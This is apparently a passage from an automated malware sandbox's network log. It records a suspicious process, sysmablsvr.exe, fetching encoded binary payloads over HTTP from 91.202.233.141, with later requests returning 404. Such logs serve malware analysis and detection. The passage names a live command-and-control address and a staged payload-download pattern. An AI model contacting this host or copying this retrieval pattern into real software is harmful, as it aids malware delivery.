Sep 17, 2024 23:11:16.143513918 CEST	1236	IN	Data Raw: 5e cb 77 97 b8 9b 35 d8 00 8e c9 26 be c1 47 28 61 c7 54 49 98 71 2e 1e e2 9a 7e 23 85 cb bf ec 16 20 37 3b 01 60 db 2d 26 92 a5 2c c5 60 89 1c fd 6a 10 37 cc 0a a4 df 5e 54 2e 2c c1 60 6f 63 49 1a 67 b9 17 49 4f ec c5 26 ba 4c 50 e9 3e af 9d af Data Ascii: ^w5&G(aTIq.~# 7;`-&,`j7^T.,`ocIgIO&LP>`<D\|<v.>{I;>TJZ~P~NJPl1YLo8bNh4eMrra'\PEC6{E\?&SgIqzEfMCz1U7
Sep 17, 2024 23:11:16.147854090 CEST	565	IN	Data Raw: fd 3e 70 6c a3 ce f1 ee 12 38 89 e4 e5 fa 45 fe e6 cb 5f 76 98 f3 11 35 77 51 60 78 b0 eb c2 19 c3 e7 9d ee 5a bc 66 bd 32 4b 64 46 20 88 dc 63 c5 02 9c 30 6f e6 f5 5f 45 67 79 61 80 f1 d7 d0 34 88 43 44 53 b2 45 74 cc 82 f5 d6 d8 fe ba 98 dd 79 Data Ascii: >pl8E_v5wQ`xZf2KdF c0o_Egya4CDSEtyY9]#]bo7kY^}'kT=OM=28NKI]uy516_ND3pAGgS_nyR~G^{43e^W-qMw[~PA)LW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49782	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:17.167273045 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:11:17.859571934 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:17 GMT Content-Type: application/octet-stream Content-Length: 12544 Last-Modified: Tue, 17 Sep 2024 16:30:32 GMT Connection: keep-alive ETag: "66e9aea8-3100" Accept-Ranges: bytes Data Raw: 2a 4b d4 2b 46 6e f7 a8 df 7f b7 00 68 d9 6f f3 b4 ef 0d e8 97 2d 1e 10 47 e5 8f 0d b4 e3 91 12 22 5c 1a ce ee 79 08 99 08 ca 96 c6 60 29 56 61 47 7b 2e 57 2c 4a f6 47 4b 3d 49 ec 3f b3 4a b8 c7 e1 ea 4d 42 4c b9 7e 2b fa 7e ba 1a 5e 3e 5b 39 18 5a 84 0e cb f3 93 bc d6 dc 0f 09 55 06 f9 3e 71 57 1f 01 56 32 cd 1b d1 0c 37 c7 0c 7f b5 17 fc 53 75 5f 46 b5 04 b3 70 02 25 2b 93 ee f2 66 57 1d 3f 9a 83 79 83 c7 a4 c9 c6 68 ac 15 9f 47 6b ae 5c 53 20 bf 7c 08 1b 7b 8e 9c ae c5 4f 9f 2f 84 a3 af c9 55 b3 81 69 62 8c a7 ad 5b 6d 48 f6 01 10 bc 78 4f 7c fe d8 7c 3d dc 7d 19 95 05 f0 93 20 e1 25 af 70 be 36 d4 ec 8e c8 49 65 21 99 24 c5 12 b4 46 90 fe aa e8 6c fa 8e 4e fc da cd 1e 04 3a a3 8a 62 6c 3f 6c fe a0 2c b1 16 1a b3 76 46 7d c9 b4 8e a6 3e f9 64 f0 d2 6c 20 bd c4 b1 38 37 d9 9b 49 c8 88 58 c3 32 b0 a2 f6 a0 63 74 49 42 e1 90 d7 39 c4 a3 fb 41 b9 99 62 87 d8 8d 66 39 91 75 ba d7 69 15 0e b0 8c 31 bf 70 fc c0 36 7b 50 13 2c 53 9d 7d 88 30 3f b3 36 95 c6 c0 b7 ca 56 07 02 88 2a ad 2e ad 94 c4 d0 db 3a [TRUNCATED] Data Ascii: K+Fnho-G"\y`)VaG{.W,JGK=I?JMBL~+~^>[9ZU>qWV27Su_Fp%+fW?yhGk\S \|{O/Uib[mHxO\|\|=} %p6Ie!$FlN:bl?l,vF}>dl 87IX2ctIB9Abf9ui1p6{P,S}0?6V.:?.`&T,Fb)PhcX1%UFgKX::=Wg6R1)y5j[AQ&5LaJ)QD'@X+X-{j ^p[]>LeWI\|$ICiwd@g&,C\cXbW_IWx0 ufHlij~PFA4TKD!zV[VNV}$6Jp[<\|"Hfm$d9o=x 3j6Wk12LAyL=}IABtckwuq{W2w8y9cd!dSl(?,`)i^H(x\|0?C~DUK:tMCr;d\|lYie9+X\|\|_#cc2N>a!q'oD==b^aR9=zfPIQInkWZxB#bS_Y^2*Z&"T?~D~O
Sep 17, 2024 23:11:17.859657049 CEST	1236	IN	Data Raw: 21 22 e3 3a f8 64 ed d3 d6 31 f1 21 9f b6 49 60 d1 75 52 5e ed 96 2c 17 37 72 75 59 0c 38 aa 2c 14 89 b2 94 d9 b1 c4 bd cb 69 56 13 c2 e6 c2 4e 94 42 4c ab a8 13 37 df f1 30 27 8c df 4b 21 83 34 e8 67 0f 49 3f 73 b3 69 87 e4 53 75 2d 56 b7 3f e5 Data Ascii: !":d1!I`uR^,7ruY8,iVNBL70'K!4gI?siSu-V?e2^(+#;,x{NsU{/>=NOcqHh6mzy~U;)/K</\|{.f'O,,<=UjE-mJ,),FTuj0}YGHAWZm`%
Sep 17, 2024 23:11:17.859673023 CEST	1236	IN	Data Raw: 8c 7b d2 94 10 81 50 02 1b f8 df 9c 7f 20 a6 79 88 80 16 5a 89 90 19 d2 e1 21 c1 03 6c bf ad d8 ca 8d 65 26 17 dd 85 b6 e9 74 10 0a 32 72 30 5e 5e 67 6f d9 b8 a2 0f ab d9 01 62 52 0b 22 28 1c dd ba 4f 78 04 0a 46 20 b2 6c 00 d2 ad 9b 5c 62 8b 2f Data Ascii: {P yZ!le&t2r0^^gobR"(OxF l\b/{X$5vNXE!`FLNcS^)lQ l-Ts}R;$9DT?b(UGnw,";f+Q6vJ?U<6AQtn\&*8~/bUuq8
Sep 17, 2024 23:11:17.859930992 CEST	1236	IN	Data Raw: ec 6d 0b 68 66 0c c2 5d 9d 2a ae 94 6f df 44 73 f6 1d c9 bb 43 46 5c a8 84 41 08 ae 20 cd 6a b7 f1 a1 ad f4 8f cd 30 2e 38 77 b2 97 65 2d a5 44 ec b4 3b 2b 85 ef 49 41 9f 20 4c e0 76 6d d2 4d 78 9f b7 09 ee 55 58 52 90 1c 29 02 5a a8 4d 8b bc 8a Data Ascii: mhf]oDsCF\A j0.8we-D;+IA LvmMxUXR)ZMDBY[A1dG5!j\|Gb&v2]G\BspIQqTi3&ys?ok`Y{5Va'NX^~s/.^[o3(]G9F]cPIT\+2n^a(`
Sep 17, 2024 23:11:17.859945059 CEST	1236	IN	Data Raw: 10 0d 0b b9 5f 9d 6d e6 92 57 24 32 d1 17 e9 b2 d9 ae 0d 71 a1 d0 f5 93 db 74 24 44 1d 9c e2 88 95 42 43 e3 6d 72 fc 78 0b 0c 45 d3 b3 36 15 f1 98 ab 5f 59 68 bb c4 59 ff aa da 7d a2 ad c0 0d 7b 82 2d 3b 08 0f 12 be 08 9a 06 81 47 b2 42 9b 80 69 Data Ascii: _mW$2qt$DBCmrxE6_YhY}{-;GBiuMPyVE=hEN+kq?<'e>4bcb7Ki<=b"x5V$)VO$&<B0^MgOFzgQTfHO_T1*6vX
Sep 17, 2024 23:11:17.859960079 CEST	1236	IN	Data Raw: 8a 04 bc 40 2f 0c e0 a9 d6 0a e2 f7 14 8f ae 57 56 3d 2a bf 40 a3 25 fe 65 17 b7 f6 2f da 29 64 e9 6d 89 dc fd a5 6c 7b b4 e5 b8 72 df 7e 9d 10 04 92 d4 19 f1 8d 30 01 70 8c 1d 49 81 05 99 27 00 4f 7d 7a 9d c1 12 6d da 6c 5e f7 bb 5a cd 3d cf 8c Data Ascii: @/WV=*@%e/)dml{r~0pI'O}zml^Z=ksq#t]ID4CX<Vq/P:_NwB)xJkGC~ua"5I5nKy+Y{?bCI%Xm01:._&u>}@_`T
Sep 17, 2024 23:11:17.859975100 CEST	1236	IN	Data Raw: 30 57 86 af d6 c6 d3 34 95 3c 80 7e d4 8e 1c 90 01 dd 15 ca 71 10 9c 00 3b 53 0d 8c 64 86 20 42 75 94 c9 97 a4 ac 14 92 66 db cc e6 0b 41 93 bc 48 e3 00 cf 52 69 31 9b 26 f3 80 24 67 53 5d 3c 93 84 ba bb 51 1f 7e 2a d4 23 20 45 21 36 94 89 af 9c Data Ascii: 0W4<~q;Sd BufAHRi1&$gS]<Q~*# E!6:0x[EP-Xn\fv$4X,.YR:Ev%o)p k WkB6eCt@R`}2WP`YJM$3z?5\ JPql
Sep 17, 2024 23:11:17.860306978 CEST	1236	IN	Data Raw: f9 22 9d 01 2b fd 11 5a 19 b7 74 3c 7d 58 9a d4 0d e0 14 a2 0d 47 fd c5 51 f2 b7 9a f7 48 65 ed 09 41 ba 81 e1 6c bb df 4d 7f 56 a2 00 f2 66 ff a8 c5 e0 fc 39 3a bc e6 d4 2e fd 2b c0 af c0 29 76 67 bd f2 ec 0e 7c 1d da eb 7b fd b7 62 3a b7 39 f1 Data Ascii: "+Zt<}XGQHeAlMVf9:.+)vg\|{b:9&&Qn1MW.Ob+am9W-@;fG@cP=YxuF HH;,TTu,zmDU'?lCk=Sbi@iK\eDw"wV
Sep 17, 2024 23:11:17.860323906 CEST	1236	IN	Data Raw: 8c c8 46 fd 7c b3 b9 a1 94 a6 7b 4b c1 71 aa e7 a4 be 30 e5 5f 0e 05 16 bc 74 a8 2d 5c 2f 95 72 38 4e e1 76 31 86 be b0 b9 4d c9 83 64 b1 2d 19 3d 98 16 3b 2f 0b ec e9 18 da 39 a9 18 f7 a4 82 1f a4 33 02 ce 29 81 12 bd c3 f7 91 1b 26 27 d1 55 5c Data Ascii: F\|{Kq0_t-\/r8Nv1Md-=;/93)&'U\]JvjSg4!]ReebGCh+;`4TO{ZVj{726Vij&)q C(*N\|3q.C2&_JcQqGnwR
Sep 17, 2024 23:11:17.860338926 CEST	1236	IN	Data Raw: 18 3e a6 e8 85 bc a6 54 db 4a 14 bc ac 5a 13 7e 50 e4 f7 f8 90 7e 8e c4 4e d6 4a 50 6c 97 a3 82 31 ec 59 be 4c 6f 38 62 b9 d7 4e 68 c4 e0 fb 81 94 96 eb 34 f8 ef 65 4d 72 0c e4 72 b0 61 ad 02 27 c5 b1 82 5c 94 03 fd 50 45 43 36 7b e0 0c a7 45 e4 Data Ascii: >TJZ~P~NJPl1YLo8bNh4eMrra'\PEC6{E\?&SgIqzEfMCz1U74;B3Q&maoMkjyt'K1H(,TNK#/S\|eQ2/f[C]A-Z&QQ>RuvF&0
Sep 17, 2024 23:11:17.864559889 CEST	449	IN	Data Raw: 27 ce c4 b5 6b ea 96 54 3d fe 4f 4d 3d 18 9a a1 b4 15 32 01 38 10 4e b7 4b ed fb 49 c1 d8 b2 5d 08 75 1d 81 79 d8 fa b0 b2 98 90 35 9e 31 36 5f 4e 44 ef 33 04 01 c4 0a 90 70 41 47 fe 67 04 e6 85 b5 53 5f db c8 6e c0 79 b3 52 d8 7e 01 47 5e d2 91 Data Ascii: 'kT=OM=28NKI]uy516_ND3pAGgS_nyR~G^{43e^W-qMw[~PA)LW!^LczVym_ZAVcYoZx%$[_j2\u\wch~;[E5}uiIj^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49785	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:23.975404978 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:11:24.665081978 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:24 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Wed, 11 Sep 2024 10:30:26 GMT Connection: keep-alive ETag: "66e17142-1f00" Accept-Ranges: bytes Data Raw: 2e 7e f0 5e 84 6b f0 eb 96 ea 4a 6a d8 5c 77 e1 0b 06 58 4d 99 2c 1c 04 2f ab f2 50 5c 0c 95 19 8b 0a b6 9e 12 c0 c5 a8 d5 56 11 38 8f 5a 61 6f 19 90 c7 21 70 7f ee 82 f6 69 81 73 e3 fe da 22 ae 77 39 00 16 34 6f 1a 91 a1 f1 d0 db 37 76 be 4b 27 f1 36 32 8d 2e fd 5e cf b1 00 eb 4b 72 16 21 fd 5c af 45 41 d6 dc 46 a7 a7 e4 45 2e 69 9b 06 a3 32 f4 2b 33 80 bb af 3b f3 5f ad 27 90 a3 00 e9 46 fd 3c 04 0e c1 67 84 7e 9c 01 83 74 da e3 d2 f0 ab 40 1c 53 24 d1 7c 12 d9 02 5e fb a8 0e 2f 33 2d 18 4d 12 2a 24 2d d6 3a 4f 0d 0a 00 b1 76 b9 36 1d 63 79 91 40 ae ce 13 9c d5 a6 70 91 ba 2d cc fb 81 2c 3a 62 fc 77 e1 a0 26 41 29 95 b0 01 1f b1 1e cc 7d fe 6e 33 68 b8 ad 89 e6 44 48 3e c9 67 be 8e 5f c5 22 f6 97 b0 e0 6b ec a6 b0 ca 48 a4 be 6a f0 74 98 ba 90 11 74 b3 2f 03 da 20 16 56 df e7 78 73 60 c7 81 c6 06 ee 5c ff fa 65 60 8b d1 30 e8 2e 41 f1 b3 e8 20 39 24 a6 dd 9d 32 8f ed 28 25 51 fe 08 50 97 5b ca a9 8a e9 8d 34 8c 38 5d 8d 79 3d 26 ab cb 83 d5 9b 9d a9 20 d6 17 ed 94 d9 df cd 3b 61 02 b3 45 55 c0 de [TRUNCATED] Data Ascii: .~^kJj\wXM,/P\V8Zao!pis"w94o7vK'62.^Kr!\EAFE.i2+3;_'F<g~t@S$\|^/3-M*$-:Ov6cy@p-,:bw&A)}n3hDH>g_"kHjtt/ Vxs`\e`0.A 9$2(%QP[48]y=& ;aEUzrgRGX{Hi\|IUeR9.!HJYCou=3_wev,qbsbT9BX'F,DnBoiYSgDzp.IA+V.QcRhXu>N![2V]pLXe%kYR#rOBoRust[cJv6\|+$kv:?c8jO)~m><X`Vk,.d+z})P\|~h?n)W,H;]6~}RZ_Zjx"~?mkV";G`mN$+_R~lwR!LoQ_gzfg6:FfvJr-t`i;w$K\P9!jtErORbT\|[`WK^&bO50omvD0w:]CLW
Sep 17, 2024 23:11:24.665101051 CEST	1236	IN	Data Raw: a4 17 e7 bb 21 6c dd 35 58 41 57 e9 a9 92 ec 85 6f 50 16 1e 1c 67 80 62 32 9a 78 28 be 5d c5 c2 07 8f 75 83 8b 99 bf 65 68 45 29 25 90 da 08 b9 0f f3 5c a8 1f ff 5b 9b a1 ea bc e2 dd d8 8f 99 11 db 43 82 1b 7c 82 21 62 4b 2c cc d3 18 19 1e 3b 06 Data Ascii: !l5XAWoPgb2x(]uehE)%\[C\|!bK,;TSdr34S^sfN[8fob.4Zj=,lD<0jb<8epOLLTtcA7$V~M1o"hn8}-IEG;ukG(3~-%Ox
Sep 17, 2024 23:11:24.665111065 CEST	448	IN	Data Raw: ae 92 f8 4d f8 fb 4d 72 90 01 3c 84 3a 9a 7d a2 ea 6b de 64 5d a1 b8 a7 09 27 4b b0 22 83 60 80 73 64 ad 8e 6b b1 a8 01 f2 30 67 68 f3 6d 8d 2a 15 d0 0e e6 57 14 3d 80 12 31 6e cd d1 69 54 08 f5 57 0b d4 66 d7 14 1e d4 55 58 81 55 7b 60 87 47 dc Data Ascii: MMr<:}kd]'K"`sdk0ghm*W=1niTWfUXU{`GZgqd8n%{VF^[I;Q+6-/XAP>!-:@OAivkGs^'5D@6A`Z-Uk+7.+"eG1m-tq:9KkE@IUit )gq
Sep 17, 2024 23:11:24.665119886 CEST	1236	IN	Data Raw: ac 59 de df 6e 13 06 b8 5c 9a 78 ac b2 53 72 43 69 ac cd c4 cb 47 de 72 cc 56 e6 9e 87 39 b0 ab cd b2 57 79 3a 9b d3 d1 01 e4 e5 79 a1 51 c1 a8 66 40 02 f9 13 0b b4 ff f1 b8 99 e3 65 c9 97 69 94 b2 7a 33 e6 a5 40 31 7a ce 2a 7f 21 51 6b 03 45 3a Data Ascii: Yn\xSrCiGrV9Wy:yQf@eiz3@1z!QkE:, eZtJR1lBn6q#8ie(I"Y">;[L1Bz'DT$38dV$`>%Fo{_};
Sep 17, 2024 23:11:24.665131092 CEST	1236	IN	Data Raw: e1 de 70 ff 56 b9 12 a5 92 6e 3f 01 d1 bb 22 c1 9e d7 d1 74 33 cc 3f 20 70 ae 02 21 c6 b2 a7 be 96 49 26 4b 08 82 f7 46 5c b6 2b 02 9c c5 3a 3d b6 0f a8 6f ce 19 fc 94 de e8 cc bc 2c 37 7a fb 9d cc cf c6 1e 9c aa 0d 0f c3 2b 03 0e 2a 1c 14 29 48 Data Ascii: pVn?"t3? p!I&KF\+:=o,7z+)H)ck4T?wMR1s+aFt?ylCWt3%anG}y\ey}I/ff%Kv-P;}eaxMO[@lguu\-(uM+HbK!,
Sep 17, 2024 23:11:24.665141106 CEST	1236	IN	Data Raw: 97 7f dc da 9c ae c1 35 34 0b ad 5f f2 bd a9 7c 35 45 88 7f 0f 1e 4f 39 38 30 26 92 71 c8 5a f2 96 dc ba df 79 63 7c e5 29 86 14 f9 6c 38 58 71 47 42 64 20 1c da 14 92 57 e5 de 95 15 1e 59 3a fe 55 10 1d 64 ce 5d 7b 62 27 96 98 6c 8b e5 c6 4d e8 Data Ascii: 54_\|5EO980&qZyc\|)l8XqGBd WY:Ud]{b'lMoQ{(Qh+M@0hp$=EC`ms%?wFf\|J:&U8z~R{Q9nnjHDZObo&a4I#2j(^h~Hx;!B
Sep 17, 2024 23:11:24.665152073 CEST	1236	IN	Data Raw: 65 60 8a ac 29 c5 3e 9e 01 d0 31 66 70 f4 af da 68 2c 92 3d 6c 7c 8b d2 f9 2b b4 15 ff 77 e1 73 e0 d5 a1 6a 62 63 fd 66 64 32 a9 31 a1 95 81 c2 a7 3a 69 9c f2 e3 9e 94 49 9e 82 d3 b2 19 5c bf ab bf 8a 5f ca 4a 15 3f 50 5a b6 4e 63 66 91 9d 2c a1 Data Ascii: e`)>1fph,=l\|+wsjbcfd21:iI\_J?PZNcf,1tWQnd/q~+&r;2-fJ?&O{VXE;/2uW28\|_-b3EmO!@lz1`gT(PsflB}5K&l
Sep 17, 2024 23:11:24.665220022 CEST	328	IN	Data Raw: cc 28 ca e8 03 bb d5 64 05 23 b6 ec 39 4e be 8a 3d 4f 02 9f 3f 12 85 65 42 13 56 d5 55 b7 0b 13 d2 f8 db 06 b5 d1 9f 16 dc 67 d8 91 fe 6d d1 13 14 ed b0 fe 3f 3c 1a 00 4e 6f 2b e2 3e 95 da 37 d9 21 51 5d ee 04 c8 7b 4c 6d 38 3c b3 5a fd f4 70 16 Data Ascii: (d#9N=O?eBVUgm?<No+>7!Q]{Lm8<ZpYO^TyrjOyKKa7zG{1;{&c(-jU@OMH-R]KB$n#/Y#0Ku2ctmd1bI1@;m>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49786	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:26.714817047 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:11:27.404637098 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:27 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49788	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:29.435178995 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:11:30.236568928 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:30 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49789	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:32.277194023 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:11:33.049627066 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:32 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49791	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:35.093247890 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:11:35.895641088 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:35 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not 